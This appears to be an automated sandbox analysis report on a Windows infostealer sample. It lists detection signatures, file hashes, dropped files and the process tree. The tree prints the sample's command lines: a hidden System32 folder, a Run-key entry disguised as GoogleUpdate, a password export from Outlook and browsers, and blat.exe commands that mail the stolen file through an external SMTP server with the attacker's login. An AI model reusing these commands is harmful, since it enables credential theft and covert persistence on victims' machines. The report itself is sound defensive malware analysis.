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Analysis

  • max time kernel
    143s
  • max time network
    131s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    19/09/2024, 06:46

General

  • Target

    eac9954d2428c333ac4b0483344b993b_JaffaCakes118.exe

  • Size

    1.2MB

  • MD5

    eac9954d2428c333ac4b0483344b993b

  • SHA1

    7ce14ae6abbf63276d7bd5bf4679d30dd23b1789

  • SHA256

    7b62884a3cd7670a6f5ebba712c417936bb0f9a782003de53c85516e85f95202

  • SHA512

    cf323b79fa5becc2e71af3ff8875383ba8cce18b8d9578537e43cc2b44bcfb1fb4f6c1d20acb72a772a2b0916dd8793c878fc04863e311e673f305508c6f168b

  • SSDEEP

    24576:vn2Cdf/6N6Kl+OG1ogqKISkqZV9vyAFUHLSMyzDJ1kAbArlbBa1FWETk:+OfSAmvGoge4P9vyAFUczokaGg

Malware Config

Signatures

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Sets file to hidden 1 TTPs 1 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Executes dropped EXE 6 IoCs
  • Loads dropped DLL 9 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • UPX packed file 9 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in System32 directory 23 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 13 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Modifies registry class 24 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 54 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\eac9954d2428c333ac4b0483344b993b_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\eac9954d2428c333ac4b0483344b993b_JaffaCakes118.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2208
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Local\Temp\70DC.tmp\1.bat" "
      2⤵
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2944
      • C:\Windows\SysWOW64\attrib.exe
        attrib +s +h "C:\Windows\System32\Google"
        3⤵
        • Sets file to hidden
        • Drops file in System32 directory
        • System Location Discovery: System Language Discovery
        • Views/modifies file attributes
        PID:2608
      • C:\Windows\SysWOW64\reg.exe
        reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v "GoogleUpdate.exe" /t REG_SZ /d "C:\Windows\System32\Google\GoogleUpdate.exe" /f
        3⤵
        • Adds Run key to start application
        • System Location Discovery: System Language Discovery
        • Modifies registry key
        PID:3024
      • C:\Windows\SysWOW64\Google\GoogleUpdate.exe
        GoogleUpdate.exe
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3020
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c ""C:\Users\Admin\AppData\Local\Temp\758D.tmp\GoogleUpdate.bat" "
          4⤵
          • Loads dropped DLL
          • Drops file in System32 directory
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2428
          • C:\Windows\SysWOW64\ipconfig.exe
            ipconfig /all
            5⤵
            • System Location Discovery: System Language Discovery
            • Gathers network information
            PID:1092
          • C:\Windows\SysWOW64\Google\realip.exe
            realip.exe
            5⤵
            • Executes dropped EXE
            • Drops file in System32 directory
            • System Location Discovery: System Language Discovery
            PID:300
      • C:\Windows\SysWOW64\Google\pwd.exe
        pwd.exe
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3032
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c ""C:\Users\Admin\AppData\Local\Temp\757E.tmp\pwd.bat" "
          4⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2092
          • C:\Windows\SysWOW64\Google\MPR.exe
            mpr.exe /export
            5⤵
            • Executes dropped EXE
            • Accesses Microsoft Outlook accounts
            • Accesses Microsoft Outlook profiles
            • Drops file in System32 directory
            • System Location Discovery: System Language Discovery
            • Modifies registry class
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            • outlook_win_path
            PID:2420
          • C:\Windows\SysWOW64\Google\blat.exe
            blat.exe -install -server smtp.yandex.ru -port 587 -f [email protected] -u gmb1488 -pw 274733831536
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:2456
          • C:\Windows\SysWOW64\Google\blat.exe
            blat.exe -to [email protected] -subject "IP" -attach "*.mpf" -body "Pass WOUOSVRD Admin"
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:3064

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\70DC.tmp\1.bat

    Filesize

    1KB

    MD5

    061a650773713d32f3f00d9d6e42a443

    SHA1

    be58547350f42f0846e642226f3416aacd1bf9fa

    SHA256

    d33bd0cadad2d76c7c3711e7063a3e498325bd731538b8173228e1c46027e790

    SHA512

    4ebaf0f241ad2fb974e46317fda9ec6f9bee1118b97222119017c30adaec9a9953a85283eb68147f097093c531d5c11b2c6710060c4be7014f5289f48933ed45

  • C:\Users\Admin\AppData\Local\Temp\70DC.tmp\GoogleUpdate.exe

    Filesize

    383KB

    MD5

    4c68ee627f3c1678b582c6358f9321e7

    SHA1

    b8df8c9f4ff374b7e98f6690770606b65776604e

    SHA256

    1fe5f183e0c523be58ccecd3211596f82b481cc0337a504f55855eb0e1d33123

    SHA512

    d7c0aa802880ed6580b592bb99d67168188f8eb7833372c7839c700fc7fd92170744ece6e32c21afde9c5bd034f4b7103f4d73f27a3ffacc36e2adbdee7a734e

  • C:\Users\Admin\AppData\Local\Temp\70DC.tmp\HookLib.dll

    Filesize

    42KB

    MD5

    27f3b6699c6243d8089056135cef4147

    SHA1

    767f70d5b79bf8d308318aa0da9ef0e0adfcd5d2

    SHA256

    e5ad5d5b8a8ef2e686af0fd68dc70bab60508fe42f81dfa5d8e4cfade7ac2437

    SHA512

    0e44ae83e9a3165725a3a65d1f248141e679cc9b9911e9e60e5977154f58c50ceb3bd1eae6b0d2c4c13a1570500b32f92ee6d50934535ec54be2d1806cbee139

  • C:\Users\Admin\AppData\Local\Temp\70DC.tmp\MPR.exe

    Filesize

    3.3MB

    MD5

    bc1d63148cfc6d96736c2a3b5f675e67

    SHA1

    f36e48980caace5e7cc7b996110ea8912ca18528

    SHA256

    444ca87b043e3723ccf99d96aad2310dc2faf690939c4a123a05b97d4935a7a3

    SHA512

    631e0948f27ab80b3cf543a4096bbd600fb457d9a5c15825beecffd46ba6b6bf74af42e42c89029f9757a76a387d084ccbca93f6fe40efe56864c69c9df25217

  • C:\Users\Admin\AppData\Local\Temp\70DC.tmp\blat.dll

    Filesize

    126KB

    MD5

    6a3e5393a84513e457ed18e0913a2176

    SHA1

    1ecb0f51a02b6ccce8d2a58e9f28a8ae60aea12d

    SHA256

    14944a809d98abe7b22bf86a0a4204221991e26f00dfeafbe2b7ccc7a1dd5c5f

    SHA512

    10943f63b67bf0f826a6a0efbe1a99b0445170390df4db9b45ca25f352a48f8d1f066e9d6be3d567d26bcde746ce41631d9ade48959403963a279e7b23f41a86

  • C:\Users\Admin\AppData\Local\Temp\70DC.tmp\blat.exe

    Filesize

    119KB

    MD5

    3f23b78126a01245cb3dac4602d4e3f7

    SHA1

    15af783721bbee0480d4702f9aa35f03da3c52b8

    SHA256

    0d2f026dee2c8b288a469afd5274d35029e54674b0f355b91cb4461dc6d491b1

    SHA512

    78d204abb47c1d7fc3564cf54e41414764c81bb272ee2cb686f2d2bafadeb8ce1470c822f4d0904ced460a240f300ca545b1f8eaa2f6f21f124a0c20aa262c16

  • C:\Users\Admin\AppData\Local\Temp\70DC.tmp\blat.lib

    Filesize

    2KB

    MD5

    2e2bf0cb321e717dd2caa9228aef1e59

    SHA1

    b42b69f46949534c818ee9c369bae0e99b4dc36a

    SHA256

    042d1e40f789cb1fa43a49cb1ff20516be3370cadf1dc272adafddf4489a961e

    SHA512

    33b9a80706c1ec26e0fa5ca6bb2e921c57d25ba8413f2feb0d74beebc9fa50de114a0cf704948fc1cebd2c4aa6b3299cf835b719c9215eee78c8a8d83acda920

  • C:\Users\Admin\AppData\Local\Temp\70DC.tmp\block_reader.sys

    Filesize

    1KB

    MD5

    f9aca461359daf992d72177f7559fa44

    SHA1

    242968e0c96fd9b15e8e2d40b406da80ee5d1c9e

    SHA256

    f6018aae2edbf28bbbc7378ea349b6cb54b553d28336cb83f3a1810d27294530

    SHA512

    2cf504f12e1b6cc7883e3521fa989ab06caed8810bf63bde4fcc929821e9d2776384e6370e3bbe13577f152738188eb15e9e2541a2b0cc4143b46117c18bb2f5

  • C:\Users\Admin\AppData\Local\Temp\70DC.tmp\pwd.exe

    Filesize

    21KB

    MD5

    bbf7e15ba24d5eb1016a082bfe68cb84

    SHA1

    55d22402f00988c07fc765ab2e9e4c9b58bc5f21

    SHA256

    3df7e952ac598b943609abbddcebc4027608ff6fd6034edb5e89a71a4d74f2ff

    SHA512

    b6dc328ece1d63429fcee414b79c199bf6b2448009a35021183a4604fc3fd9798f7419b297cebc307fd36b8a6aabfb2e47d1ca18b58a0403e6946de62c783368

  • C:\Users\Admin\AppData\Local\Temp\70DC.tmp\realip.exe

    Filesize

    40KB

    MD5

    effa4a5a70423867665d2a46348ecb26

    SHA1

    8596bef191ed40ade5980abf0158dfd3d193c352

    SHA256

    03b86eeff30d769e062a3228a0fb3ce6f0f8911093cd2a4a70cade34896f568d

    SHA512

    d94e48e1722d4814862d78f35800b4d8eff8f17be4902cbe0d2f0355fd3279faa9a403f3e4bb7ed70b44ace8dbb76b65b7c9f6e9ccf17c69e4d17e0895b8dfff

  • C:\Users\Admin\AppData\Local\Temp\757E.tmp\pwd.bat

    Filesize

    244B

    MD5

    0f9bfdc68b6f7912ea080953bade0a0d

    SHA1

    be395363283e3618961292f1f94be2fff39fb69c

    SHA256

    c2adf9854ebd4ecd0eed9168828f85b005e5fce29cdd8652661d8e411d619256

    SHA512

    ecbb8eef497bf879f5411cae2a0c8b98979d705dfac761151837d2a6cd51dee2e5ab1c17f7f8b50a8ceda5d5ae301597e506bca0b9a4c833befa648702705e22

  • C:\Users\Admin\AppData\Local\Temp\758D.tmp\GoogleUpdate.bat

    Filesize

    417B

    MD5

    083aeba786185b0354a94378e5c15688

    SHA1

    0fd9e68257eaa1490d26a52e267c898376e71455

    SHA256

    fb47b3107b69f2384fb7940e8640f63fc77676c14d449fff68e1d260d24fd6fb

    SHA512

    9ab625eacf6e27029738ed9476ad6abb8f370784988dd553504262e09f9c625a7a201506ba7cd0d55d6c5bd67aa0e86639fd1579b7fae2f50379ddc9dfe709e1

  • C:\Windows\SysWOW64\Google\SAV_WOUOSVRD_9.19.2024_6-47-08_AM.mpf

    Filesize

    20KB

    MD5

    ae064a437c25691f10b87523529e1fc3

    SHA1

    bc6a36d05fbad1a00c23d015be106e6acc9626cc

    SHA256

    bd851c859b388e2ffb906b353d83c20930992a256d3d643f8e099971ef536c4c

    SHA512

    72de42a66f9aafbe29ace795fe740053b348cc2acf23b7588194b1150e632ee51195db1603703bf7e5ce2e2ef49a8e0613dfedbdd5f4912eb9c5d0b0e631c7d4

  • memory/300-138-0x0000000000400000-0x0000000000418000-memory.dmp

    Filesize

    96KB

  • memory/2208-0-0x0000000000400000-0x000000000080C000-memory.dmp

    Filesize

    4.0MB

  • memory/2208-75-0x0000000000400000-0x000000000080C000-memory.dmp

    Filesize

    4.0MB

  • memory/2420-133-0x0000000000500000-0x000000000084B000-memory.dmp

    Filesize

    3.3MB

  • memory/2428-112-0x0000000000150000-0x0000000000168000-memory.dmp

    Filesize

    96KB

  • memory/2428-110-0x0000000000150000-0x0000000000168000-memory.dmp

    Filesize

    96KB

  • memory/2428-127-0x0000000000150000-0x0000000000168000-memory.dmp

    Filesize

    96KB

  • memory/2944-64-0x0000000000400000-0x00000000004C4000-memory.dmp

    Filesize

    784KB

  • memory/3020-123-0x0000000000400000-0x00000000004C4000-memory.dmp

    Filesize

    784KB

  • memory/3020-70-0x0000000000400000-0x00000000004C4000-memory.dmp

    Filesize

    784KB

  • memory/3032-124-0x0000000000400000-0x0000000000410000-memory.dmp

    Filesize

    64KB

  • memory/3032-71-0x0000000000400000-0x0000000000410000-memory.dmp

    Filesize

    64KB

  • memory/3032-143-0x0000000000400000-0x0000000000410000-memory.dmp

    Filesize

    64KB